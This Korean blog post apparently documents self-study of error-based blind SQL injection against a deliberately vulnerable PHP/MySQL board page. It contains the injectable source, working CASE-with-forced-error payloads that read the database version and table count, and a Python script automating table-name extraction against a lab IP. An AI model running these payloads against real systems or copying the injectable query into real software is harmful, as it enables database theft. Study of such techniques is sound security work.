Self-Improvement
블라인드 SQLi (Mysql, 조건부 에러, Python 코드 자동화, CASE, Substr) 본문
소스코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
<?php
$mysqli = new mysqli('localhost', 'root', 'root', 'northwind');
if (mysqli_connect_errno()) {
printf("Connection failed: %s\n",mysqli_connect_error());
exit;
}
$queryCheck="select 1 from board";
$result = $mysqli->query($queryCheck);
if($result == FALSE){
$createQuery="CREATE TABLE board (" .
"idx int(11) AUTO_INCREMENT PRIMARY KEY," .
"writer VARCHAR(10) NOT NULL," .
"email VARCHAR(30)," .
"subject VARCHAR(50) NOT NULL," .
"passwd VARCHAR(12) NOT NULL," .
"reg_date DATETIME NOT NULL," .
"readcount INT DEFAULT 0," .
"content TEXT NOT NULL," .
"ip VARCHAR(20) NOT NULL);";
$result = $mysqli->query($createQuery);
}
$_search = "";
if(isset($_GET['subject'])) $_search = $_GET['subject'];
$sql = 'select * from board where subject=\'' . $_search . '\'';
if ($_search!="") {
if(strpos($_search,"union")==FALSE) $result = $mysqli->query($sql);
if (!$result) {
echo "DB Error, could not query the database\n";
exit;
}
}
print "<form action=\"" . $_SERVER['PHP_SELF'] . "\">\n";
print "제목검색 : ";
print "<input type=\"text\" name=\"subject\" value=\"" . $_search . "\"> ";
print "<input type=\"submit\" value=\"검색\">";
print "</form>\n";
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td width=\"20\">num</td>".
"<td width=\"220\">subject</td>" .
"<td width=\"80\">writer</td>" .
"<td width=\"80\">date</td>" .
"<td width=\"20\">count</td>\n\t</tr>";
if ($result) {
while ($row = $result->fetch_row()) {
print "\t<tr>\n\t\t<td>" . $row['idx'] . "</td><td>" .
$row['subject'] . "</td><td>" . $row['writer'] . "</td><td>" .
$row['reg_date'] . "</td><td>" . $row['readcount'] . "\n\t</tr>\n";
}
$mysqli->close();
}
print "</table>\n";
?>
|
cs |
페이지에 접속하여 싱글쿼터를 주입해보면 DB Error 내용보다는 커스텀된 에러 메시지가 나오게 된다.
이것을 보고 유추할 수 있는 것은 Error SQLi는 되지 않으며 싱글쿼터 주입시 에러가 발생한 것을 보아 Blind SQLi가 가능 하다는 것을 알 수 있다.
참/거짓 명제를 만들어보며 응답을 확인해 본다.
' and '1'='1 |
' and '1'='2 |
참/거짓 명제를 주입해도 결과는 동일하게 빈 데이터가 나오게 되며 싱글쿼터 즉 DB 형식에 맞지 않게 주입하면 오류가 발생한다. 이러한 오류발생을 가지고 Blind SQLi를 해보도록 한다.
CASE 구문과 Error SQLi에서 학습한 무조건 오류가 발생하는 구문으로 오류가 발생하는 상황을 해본다.
True | ' and (case when 1=1 then 1 else (select count(*) from (select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1 |
Error | ' and (case when 1=2 then 1 else (select count(*) from (select count(*), concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1 |
이제는 오류가 발생하는 구문인 when 절에 특정 쿼리가 참이면 True가 되며 거짓이면 에러가 발생할 것이다.
예시로 버전의 '5.5-MariaDB'에서 첫 글자 '5'에 대한 쿼리를 작성해본다
Error | ' and (case when (select substr(version(),1,1) from dual)=4 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1 |
True | ' and (case when (select substr(version(),1,1) from dual)=5 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1 |
해당 쿼리문을 이용하여 테이블 갯수(134개)까지 해본다.
True | ' and (case when (select count(*) from information_schema.tables)>100 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1 |
Error | ' and (case when (select count(*) from information_schema.tables)>200 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1 |
Error | ' and (case when (select count(*) from information_schema.tables)>150 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1 |
True | ' and (case when (select count(*) from information_schema.tables)>130 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1 |
True | ' and (case when (select count(*) from information_schema.tables)=134 then 1 else (select count(*) from (select count(*),concat(version(), floor(rand(0)*2))a from information_schema.tables group by a)b) end) and '1'='1 |
Python 코드 자동화로 간단히 해본다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import requests
s = requests.Session()
baseurl='http://192.168.1.46'
a=[]
for i in range(1,15):
for number in range(128):
url=baseurl+'/board_list.php?'
url+='subject=%27%20and%20(case%20when%20(select%20substr(table_name,'+str(i)+',1)%20from%20information_schema.tables%20limit%201%20offset%200)=char('+str(number)+')%20then%201%20else%20(select%20count(*)%20from%20(select%20count(*),concat(version(),%20floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b)%20end)%20and%20%271%27=%271'
resp=s.get(url)
if 'DB Error' not in resp.text:
a.append(chr(number))
print (''.join(a))
break
|
cs |
'SQLi' 카테고리의 다른 글
Time 기반 SQLi (DB 내장함수, Heavy Query) (0) | 2020.04.23 |
---|---|
SQLi 하면서 중요한 정보, 꿀팁 (0) | 2020.04.22 |
ASCII(), CHAR() 함수 차이점 및 비교 (0) | 2020.04.22 |
블라인드 SQLi (Mysql, 조건부 응답, Python 자동 코드, limit, offset, ascii, substr) (0) | 2020.04.21 |
블라인드 SQLi(순차, 이진, 사전 검색) (0) | 2020.04.21 |